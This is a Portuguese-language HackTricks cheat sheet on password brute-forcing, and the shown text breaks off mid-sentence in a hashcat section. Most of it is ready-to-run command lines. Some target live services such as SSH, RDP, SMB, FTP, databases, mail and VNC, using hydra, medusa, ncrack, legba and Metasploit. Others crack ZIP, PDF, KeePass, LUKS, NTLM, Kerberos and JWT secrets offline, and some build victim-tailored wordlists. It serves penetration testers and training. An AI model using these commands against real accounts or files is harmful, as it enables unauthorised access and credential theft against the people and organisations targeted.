# Brute Force - CheatSheet
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** da comunidade **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Default Credentials **Pesquise no google** por credenciais padrão da tecnologia que está sendo usada, ou **tente estes links**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm) * [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/) * [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/) * [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list) * [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) ## **Crie seus próprios Dicionários** Encontre o máximo de informações sobre o alvo que puder e gere um dicionário personalizado. Ferramentas que podem ajudar: ### Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @ Lower case alpha characters , Upper case alpha characters % Numeric characters ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` ### Cewl ```bash cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) Gere senhas com base no seu conhecimento da vítima (nomes, datas...) ``` python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) Uma ferramenta geradora de listas de palavras, que permite que você forneça um conjunto de palavras, dando a você a possibilidade de criar múltiplas variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst __ _______ _____ _______ ______ _____ \ \ / /_ _|/ ____|__ __| ____| __ \ \ \ /\ / / | | | (___ | | | |__ | |__) | \ \/ \/ / | | \___ \ | | | __| | _ / \ /\ / _| |_ ____) | | | | |____| | \ \ \/ \/ |_____|_____/ |_| |______|_| \_\ Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% Generated 67885 lines. Finished in 0.920s. ``` ### [pydictor](https://github.com/LandGrey/pydictor) ### Listas de Palavras * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi) * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) * [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/) * [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/) * [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists) * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Serviços Ordenado alfabeticamente pelo nome do serviço. ### AFP ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login msf> set BLANK_PASSWORDS true msf> set USER_AS_PASS true msf> set PASS_FILE msf> set USER_FILE msf> run ``` ### AJP ```bash nmap --script ajp-brute -p 8009 ``` ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM e Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` ### Cassandra ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` ### CouchDB ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` ### Registro do Docker ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` ### Elasticsearch ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` ### HTTP Genérico Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) ### HTTP Autenticação Básica ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` ### HTTP - NTLM ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` ### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` Para http**s** você tem que mudar de "http-post-form" para "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla ou (D)rupal ou (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt #https://github.com/Sjord/jwtcrack python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool python3 jwt_tool.py -d wordlists.txt #https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` ### LDAP ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` ### Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using tickets against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Bruteforce using passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt # Bruteforce using hashes against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ``` ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` ### MySQL ```bash # hydra hydra -L usernames.txt -P pass.txt mysql # msfconsole msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` ### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 ./odat.py passwordguesser -s $SERVER -d $SID ./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt #msf1 msf> use admin/oracle/oracle_login msf> set RHOSTS msf> set RPORT 1521 msf> set SID #msf2, this option uses nmap and it fails sometimes for some reason msf> use scanner/oracle/oracle_login msf> set RHOSTS msf> set RPORTS 1521 msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` Para usar **oracle\_login** com **patator** você precisa **instalar**: ```bash pip3 install cx_Oracle --upgrade ``` [Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V # Insecure legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110 # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432 patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` ### PPTP Você pode baixar o pacote `.deb` para instalar em [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` ### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` ### Rexec ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SFTP ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` ### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` ### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` ### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` ### SQL Server ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' legba ssh --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` #### Chaves SSH fracas / PRNG previsível do Debian Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chave dramaticamente reduzido que pode ser atacado por força bruta com ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ) O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que **permite comunicação e interação contínuas com serviços populares de enfileiramento de mensagens** como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` ### Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ --username admin \ --password wordlists/passwords.txt \ --target localhost:23 \ --telnet-user-prompt "login: " \ --telnet-pass-prompt "Password: " \ --telnet-prompt ":~$ " \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0 use auxiliary/scanner/vnc/vnc_login nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt legba vnc --target localhost:5901 --password data/passwords.txt #Metasploit use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ```
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** comunitárias **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Local ### Bancos de dados de cracking online * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 com/sem ESS/SSP e com qualquer valor de desafio) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...) * [https://crackstation.net/](https://crackstation.net) (Hashes) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://gpuhash.me/](https://gpuhash.me) (Hashes e hashes de arquivos) * [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) * [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) Verifique isso antes de tentar fazer brute force em um Hash. ### ZIP ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` ```bash zip2john file.zip > zip.john john zip.john ``` ```bash #$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` #### Ataque de zip com texto plano conhecido Você precisa conhecer o **texto plano** (ou parte do texto plano) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanhos de arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\ Baixe [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) da página de lançamentos. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file ./bkcrack -C -c -P -p # Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18 # With that key you can create a new zip file with the content of encrypted.zip # but with a different pass that you set (so you can decrypt it) ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` ### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` ```bash #Download and install requirements for 7z2john wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` ### PDF ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt #pdf2john didn't work well, john didn't know which hash type was # To permanently decrypt the pdf sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### Senha do Proprietário do PDF Para quebrar a senha do Proprietário do PDF, verifique isto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack #Bruteforce using crackjwt.py python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #Bruteforce using john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` ### Quebra de NTLM ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password keepass2john -k file.kdbx > hash # The keepass is also using a file as a needed credential #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Lucks image #### Método 1 Instalar: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` #### Método 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` Outro tutorial de BF Luks: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` ### Chave privada PGP/GPG ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` ### Cisco
### Chave Mestra DPAPI Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e depois john ### Coluna Protegida por Senha do Open Office Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la: * **Faça o upload para o google drive** e a senha será removida automaticamente * Para **remover** manualmente: ```bash unzip file.xlsx grep -R "sheetProtection" ./* # Find something like: # Remove that line and rezip the file zip -r file.xls . ``` ### Certificados PFX ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ```
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Ferramentas **Exemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier ```bash hash-identifier > ``` ### Wordlists * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) ### **Ferramentas de Geração de Wordlists** * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gerador avançado de teclado com caracteres base configuráveis, mapeamento de teclas e rotas. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### John mutation Leia _**/etc/john/john.conf**_ e configure-o ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat #### Ataques do Hashcat * **Ataque de lista de palavras** (`-a 0`) com regras **Hashcat** já vem com uma **pasta contendo regras**, mas você pode encontrar [**outras regras interessantes aqui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` * **Ataque combinador de wordlist** É possível **combinar 2 wordlists em 1** com hashcat.\ Se a lista 1 contiver a palavra **"hello"** e a segunda contiver 2 linhas com as palavras **"world"** e **"earth"**. As palavras `helloworld` e `helloearth` serão geradas. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt # Same attack as before but adding chars in the newly generated words # In the previous example this will generate: ## hello-world! ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` * **Ataque de máscara** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d hashcat --help #will show the charsets and are as follows ? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 h | 0123456789abcdef H | 0123456789ABCDEF s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff # Mask attack declaring custom charset hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## -1 ?d?s defines a custom charset (digits and specials). ## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset. # Mask attack with variable password length ## Create a file called masks.hcmask with this content: ?d?s,?u?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` * Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) ataque ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask 